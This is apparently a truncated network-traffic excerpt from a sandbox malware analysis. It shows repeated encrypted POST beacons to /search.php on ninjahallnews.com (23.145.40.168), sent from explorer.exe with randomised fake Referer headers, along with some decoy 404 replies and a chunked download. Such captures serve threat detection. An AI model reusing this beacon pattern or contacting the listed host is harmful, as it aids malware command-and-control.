2024-10-08 01:15:32 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://shalkugnmyu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: ninjahallnews.com
2024-10-08 01:15:32 UTC	341	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 67 34 01 83 b7 25 93 3c 49 c2 0f 92 b6 ab 46 35 de 1b 0c 90 2d f5 e3 7b 72 df 2f 56 20 cb a7 8e 3b a5 ae 57 0b f8 9a 63 9d 4a 5d 8f e1 7c 2e 48 4f 3b 31 e4 2e c8 d1 ce 32 fa fa 2e 27 32 e6 43 22 e0 54 7f 88 e7 9b bf 04 6c a3 70 d2 6a f1 66 65 b9 13 d1 31 7f 41 3c 11 cb af 6d ec 91 38 df 36 71 d7 cc c8 3d a5 99 79 80 9a 95 cc 0c 55 90 b1 b2 4c 46 af 4e 36 f3 62 4b 2d bf 23 75 63 d3 34 72 4a ef 91 83 6d 35 c4 e1 0a ea 63 f2 f0 d5 07 31 15 3e f3 03 73 4f 06 7f d8 51 9e a4 0c 48 79 37 07 88 b3 73 5e 01 2d 8f cb 9d 1c 9f f9 6c d7 29 d0 b5 ed 86 12 b7 5c Data Ascii: rmh9/2p6 )6IP g3iqH[@Lg4%<IF5-{r/V ;WcJ]\|.HO;1.2.'2C"Tlpjfe1A<m86q=yULFN6bK-#uc4rJm5c1>sOQHy7s^-l)\
2024-10-08 01:15:32 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:32 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50015	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:33 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ubaoujicoyurcry.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: ninjahallnews.com
2024-10-08 01:15:33 UTC	287	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 64 34 01 83 b7 25 93 3c 4d d1 17 a0 cb de 32 00 dd 33 03 b3 58 85 f6 2f 22 e1 05 3d 27 c7 c5 8e 76 a4 aa 7d 6a f0 89 35 b6 42 29 ad 86 79 0f 2f 7a 44 18 87 7a cc e3 a8 46 8e a9 3d 26 45 8f 16 5c e6 2a 55 97 88 ee 9b 49 6b 99 61 ae 2d bf 74 20 d3 2c ae 2e 54 65 77 56 c1 de 44 82 ce 02 fa 15 22 98 c8 c5 13 d8 9b 71 9f b2 9f a0 03 4e a4 a5 bb 42 5c a2 56 1c fd 06 76 2a e0 4e 6a 2d bb 2c 1d 1d c0 c3 9f 7b 7a c7 dd 3a 96 47 c9 c1 c3 32 3b 72 5a a1 79 3f 6e 37 75 ea 0b fc 80 09 40 22 5b 5b 88 f0 51 51 38 4f b7 d4 ca 47 f9 f4 71 e7 40 8a 9e e0 b9 0d bc 22 Data Ascii: rmh9/2p6 )6IP g3iqH[@Ld4%<M23X/"='v}j5B)y/zDzF=&E\UIka-t ,.TewVD"qNB\VvNj-,{z:G2;rZy?n7u@"[[QQ8OGq@"
2024-10-08 01:15:33 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:33 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50024	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:33 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://oriixfynfaeoogt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 211 Host: ninjahallnews.com
2024-10-08 01:15:33 UTC	211	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 65 34 01 83 b7 25 93 3c 7f b5 1a 9a bf f6 44 07 f0 6f 3b ac 26 eb e9 20 1b c0 1f 0a 58 c1 c5 e9 2b cc e7 4d 01 ff fc 79 95 74 32 f1 d4 66 70 5c 58 16 51 98 38 ba 82 89 02 d3 b0 4c 6a 24 b5 78 0b d0 2d 51 e3 c1 ab 95 5a 0d c0 1a c6 7f 8d 0b 58 ad 45 8a 6f 77 24 34 07 f7 cc 40 8f 94 79 ee 5d 3f 81 c0 8e 2e fa 83 57 b8 aa a7 a8 22 2c da d5 a5 04 15 9b 11 26 c2 3c 41 1c a6 4b 0a 2e b7 20 29 19 ff a4 80 7f 22 89 b9 2a ea 17 Data Ascii: rmh9/2p6 )6IP g3iqH[@Le4%<Do;& X+Myt2fp\XQ8Lj$x-QZXEow$4@y]?.W",&<AK. )"*
2024-10-08 01:15:34 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:34 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50030	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:34 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://hqstyqadnnvm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: ninjahallnews.com
2024-10-08 01:15:34 UTC	333	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7a 34 01 83 b7 25 93 3c 57 fe 16 fd ba eb 11 28 dc 1e 6c e4 55 f8 90 01 06 cd 0a 28 3d c7 da fe 48 cb ee 11 4f 9d 82 7c e4 51 51 f2 d4 70 7f 23 4b 42 21 c6 2d db da c0 03 e9 e4 40 00 2f 96 02 5a f2 51 46 84 e5 e9 c3 07 04 cb 0d db 6f af 73 26 bc 51 ce 26 5d 4b 1e 1d f9 d2 11 81 9d 7e e1 1a 3c 85 c3 cd 48 e3 ee 7b ec de fa de 18 5d 8f 82 96 6d 51 af 6e 38 98 32 4c 15 b0 41 78 63 b8 46 7f 5e 86 bb d5 67 23 cb e0 7b 95 5c c1 b6 f5 00 66 00 2e c9 6c 1d 7c 2a 0e a7 56 b8 a4 69 28 6b 59 54 8b 80 57 40 22 51 92 91 96 2b e7 ad 2d ce 27 a9 ab d7 b3 44 87 57 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lz4%<W(lU(=HO\|QQp#KB!-@/ZQFos&Q&]K~<H{]mQn82LAxcF^g#{\f.l\|*Vi(kYTW@"Q+-'DW
2024-10-08 01:15:35 UTC	294	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:15:35 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-08 01:15:35 UTC	7898	IN	Data Raw: 31 65 65 37 0d 0a 00 00 b5 50 0f 6d f7 61 d7 e7 49 78 ba 09 bf db 6e 5b 92 64 4f 0c f1 aa 5d 78 6e 1d 37 6e a3 bf 51 b7 61 50 c8 4c 75 ec 96 6c 61 47 6f 72 d9 5d 28 4a c9 17 cf ae b0 92 75 82 7c d6 cc 92 b4 cc 04 6e 80 d9 27 08 88 90 7c 25 38 3b 06 b0 d9 98 1f b3 ee 24 b2 8e 94 c4 c7 84 78 7f df ff 07 32 07 d4 23 b4 c2 cf a3 d9 18 29 4c b6 6d 7e 16 31 ba 88 9c 6f 27 9e 77 77 ec 42 27 39 f1 c8 b5 0f 2b 2c 37 f5 27 0c ee 96 8c 2c eb 7f 13 2a 58 0b a1 c6 4a a5 04 a5 ee 06 88 e3 1d 96 d0 4c d7 1a 1c 0b 6e 31 a2 fd 08 4f 89 d7 29 16 31 bd a7 21 aa 5c b5 b5 55 45 44 dc a1 75 85 c1 e8 06 3a f3 80 41 02 4f fe 76 f4 a8 10 4e 8c 77 26 ec 91 05 1d da 3e 11 60 70 e2 86 3d ef 6e dd fe db a9 55 d9 c9 5b 8a 82 ba 08 34 ee fb c7 34 41 b5 cd 3a 1d 0c d7 46 85 07 8f 3d 07 Data Ascii: 1ee7PmaIxn[dO]xn7nQaPLulaGor](Ju\|n'\|%8;$x2#)Lm~1o'wwB'9+,7',*XJLn1O)1!\UEDu:AOvNw&>`p=nU[44A:F=
2024-10-08 01:15:35 UTC	19	IN	Data Raw: 1a 58 b3 14 d0 ff ef 1b ab d5 44 9d a9 19 24 1b 3c de a6 Data Ascii: XD$<
2024-10-08 01:15:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 01:15:35 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4f b0 ac 7b 5b 94 2f 8e fb a5 49 75 0f 40 51 70 86 33 86 ea 54 c2 9c a9 b3 9c cf 10 ce 73 f3 0a 45 73 70 80 bd cf 7c c6 1c 25 20 f0 db 31 01 72 f0 5d 54 16 83 19 c9 78 43 66 d9 c7 7f 47 ca 0f f7 a2 70 1e 62 4f 97 d4 85 58 23 aa d0 91 09 29 ee 80 ff 8b 54 15 25 28 bd e0 44 37 f5 d2 98 eb 0f e0 d6 36 42 df 9d 30 3b 76 0a 49 8d d8 2a 5a 2c 48 85 64 39 6f df 29 ee ea 49 62 42 61 fc 57 6e 83 9a b6 22 77 a6 6b e0 cf c9 e4 7a 54 6a 49 6b 6f 35 b7 56 48 95 56 16 b2 96 49 9e ba 4c 2c 9b 9c 43 42 13 5b a3 ab 34 c0 82 5d a9 9e 70 45 78 63 d2 8a a7 06 b3 53 cc e2 23 f1 5f eb 82 a9 0c ba 27 c8 99 eb 5e 0c 15 68 6c d4 ae e1 12 2f 24 0c 48 6d a6 03 50 bc 8c c8 19 7b 50 c9 e8 5e 04 70 28 b9 77 49 81 50 c8 50 6b ae b4 0b 13 a5 ca 64 4c e6 f3 cd d4 f6 e4 Data Ascii: 2000O{[/Iu@Qp3TsEsp\|% 1r]TxCfGpbOX#)T%(D76B0;vI*Z,Hd9o)IbBaWn"wkzTjIko5VHVIL,CB[4]pExcS#_'^hl/$HmP{P^p(wIPPkdL
2024-10-08 01:15:35 UTC	6	IN	Data Raw: 4e 13 8c ae b0 c7 Data Ascii: N
2024-10-08 01:15:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 01:15:35 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 37 b0 80 d9 81 f6 4b 57 1e 8f 04 5f c4 c0 88 47 ee 18 f5 d8 ff a1 a2 c6 ae 36 1a 9d e0 fb 7a 50 95 22 b5 51 4d 25 b1 f4 18 0c 15 d1 06 0a 15 7b 23 d8 b9 63 41 09 53 8b 61 24 04 92 dd b9 c9 34 db 29 b1 d3 b5 7d 9b b6 ff 21 7f 68 a3 a1 98 ca f2 df ce 52 bb f4 67 4b 05 db df 01 f6 41 65 c4 8c 63 3c 95 b8 4a 79 8f 0e fc ec 98 91 1c 6c 75 27 c8 43 8c b3 ad 55 8f 66 a4 df a5 4c f4 c9 c1 69 5d 48 0b 4f 32 71 7a 52 6c c0 39 48 fa 96 d0 c8 ec f4 9c a0 0a 28 2c 0e 70 0f 5f 56 3f 57 12 a8 f7 ec d3 73 0d 42 60 a6 37 ca 65 e1 1c 43 c8 32 77 4f a8 25 84 73 8c 57 fe fd 9b 22 07 c9 76 67 b6 ef 85 11 52 c9 bf 4e b0 d6 66 9d d8 30 3f 8d 93 5a f5 d5 f3 5f 31 3d a5 2e 45 85 49 21 aa 61 86 37 f7 f5 9a 70 4c 4d f9 1c fb e1 fe d1 ee cb fa 02 71 1e 89 dd 8a 35 Data Ascii: 20007KW_G6zP"QM%{#cASa$4)}!hRgKAec<Jylu'CUfLi]HO2qzRl9H(,p_V?WsB`7eC2wO%sW"vgRNf0?Z_1=.EI!a7pLMq5
2024-10-08 01:15:35 UTC	6	IN	Data Raw: eb 47 a6 2d 95 51 Data Ascii: G-Q
2024-10-08 01:15:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50036	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:36 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://hlglmlpnwcq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 254 Host: ninjahallnews.com
2024-10-08 01:15:36 UTC	254	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 41 4c 7a 34 01 83 b6 25 93 3c 26 b2 0b f2 af ce 24 16 e1 12 6e bc 5e e9 ea 2d 67 f7 0f 10 63 ca b8 93 57 e5 f6 5a 70 d7 eb 38 88 45 72 ba 80 6f 1f 67 01 04 2a 91 08 97 94 d0 47 8d 95 5e 30 56 a0 16 27 c7 34 02 fb e5 bf b1 47 3a 94 73 c1 27 ee 0c 22 c8 25 de 38 6a 27 35 50 ed cc 13 85 d6 3a ee 15 17 c9 cc 86 39 bf b8 4f f4 a3 f1 96 29 56 81 be de 56 43 a9 0c 47 e4 0e 0c 51 8a 32 2e 4f f2 33 78 26 d9 96 db 62 60 99 e5 09 f3 7e d0 f2 c6 72 0c 6d 52 f3 43 0d 5f 55 69 b2 54 fb df 2b 39 75 6f 01 84 f6 58 79 28 04 ab f3 c0 5f 87 c0 68 c0 72 cb b4 e6 db 68 ff Data Ascii: rmh9/2p6 )6IP g3iqH[ALz4%<&$n^-gcWZp8Erog*G^0V'4G:s'"%8j'5P:9O)VVCGQ2.O3x&b`~rmRC_UiT+9uoXy(_hrh
2024-10-08 01:15:36 UTC	287	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:15:36 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:15:36 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50043	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:37 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://xuoelobbpmbhamy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: ninjahallnews.com
2024-10-08 01:15:37 UTC	215	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7b 34 01 83 b7 25 93 3c 45 d5 00 9a dc ec 20 2e f3 23 18 9f 5d e7 d1 28 1e c6 03 03 7e a6 cb 94 4e e1 ce 12 19 d7 f0 74 f5 47 7f bd 8d 10 74 4e 19 5a 21 93 39 c5 d6 c0 35 f4 ac 59 08 1e 85 67 5e b2 2a 5e 81 cd f7 9b 33 24 a6 6e b0 52 9d 68 44 9d 1c 98 3d 5a 42 6d 5e ce f1 18 84 be 0d db 47 3d e5 d0 d2 4c e5 ec 1a b4 a2 8b a0 38 48 a6 8d df 08 30 94 1f 07 c9 73 15 1f a7 35 1e 60 c3 55 60 03 98 b1 c6 34 29 9d c9 0d e3 28 86 e1 b2 5f Data Ascii: rmh9/2p6 )6IP g3iqH[@L{4%<E .#](~NtGtNZ!95Yg^*^3$nRhD=ZBm^G=L8H0s5`U`4)(_
2024-10-08 01:15:38 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:37 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50055	23.145.40.168	443	6796	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:43 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ninjahallnews.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 4431 Host: ninjahallnews.com
2024-10-08 01:15:43 UTC	4431	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 85 a6 6e 6c f2 e8 91 75 49 50 20 67 33 fa a7 84 c7 89 05 40 0c 18 e8 5a dd 46 4c 6a 34 01 83 b7 25 93 3c 5d cf 27 91 a3 dd 2a 25 c6 00 16 9c 51 e5 e3 1b 09 bf 67 33 46 c9 e0 f3 49 fe fe 76 77 f7 96 5d 8f 33 2d 87 e5 6a 0e 47 60 11 1a eb 19 bb 96 8a 06 8b e6 69 22 2e 90 41 39 b6 26 46 ed f7 99 a5 69 56 b5 62 da 54 94 20 7f ae 3f 85 54 4b 4c 0b 75 ad cd 7c ad ca 1d f6 1b 3c ec e1 bd 3a dd bf 5a 9c b9 91 a3 17 4e b1 d1 85 6a 24 b5 69 28 ed 0f 51 1e 91 2c 13 4f cb 21 37 3f 85 b8 db 25 42 8a fa 4d c6 42 99 f8 cf 13 08 0e 56 c3 1d 01 49 29 2d d7 2c 8d b5 13 36 13 26 14 e7 87 25 58 0f 3d aa ea 9e 23 d7 ce 20 e3 7a 96 a0 c8 a9 79 86 4f Data Ascii: rmh9/2p6nluIP g3@ZFLj4%<]'*%Qg3FIvw]3-jG`i".A9&FiVbT ?TKLu\|<:ZNj$i(Q,O!7?%BMBVI)-,6&%X=# zyO
2024-10-08 01:15:43 UTC	287	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:15:43 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:15:43 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50060	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:16:57 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://qotplnnnyldonj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 01:16:57 UTC	109	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rmh9/2p6 )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 01:16:57 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:16:57 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:16:57 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d ae Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50061	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:16:58 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://cubjgioqceo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: ninjahallnews.com
2024-10-08 01:16:58 UTC	241	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6a 34 01 83 b7 25 93 3c 2c a5 22 ba c8 c1 04 0f ee 0b 6b f0 20 fe 94 7d 65 b1 70 3c 3f c8 b6 e2 2b d3 f1 72 51 f1 88 77 96 53 6e ed e1 6a 1f 47 5a 36 26 8f 33 8a fa 9c 0b d2 9a 52 20 30 99 13 35 af 59 1b c5 ed e8 c1 14 2e 89 5b b8 34 f3 2d 62 a4 08 d6 77 7d 6d 7a 5f db f3 0e af a4 3e 99 3d 68 fa a0 b9 5d c8 b7 6d f4 a6 9f bd 05 69 cc a7 9e 09 14 93 55 23 e8 10 16 1e b4 2e 1d 25 b4 28 71 5f 8a a6 fb 22 55 93 ef 62 ff 4e d9 bc b3 7d 6b 73 47 be 14 1e 72 1f 22 d9 0f f1 da 6a 00 01 61 29 db e6 39 20 2a 1d c5 a7 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lj4%<,"k }ep<?+rQwSnjGZ6&3R 05Y.[4-bw}mz_>=h]miU#.%(q_"UbN}ksGr"ja)9 *
2024-10-08 01:16:58 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:16:58 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50063	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:17:16 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://jcipjgavjhg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 01:17:16 UTC	109	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rmh9/2p6 )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 01:17:16 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:17:16 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:17:16 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50065	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
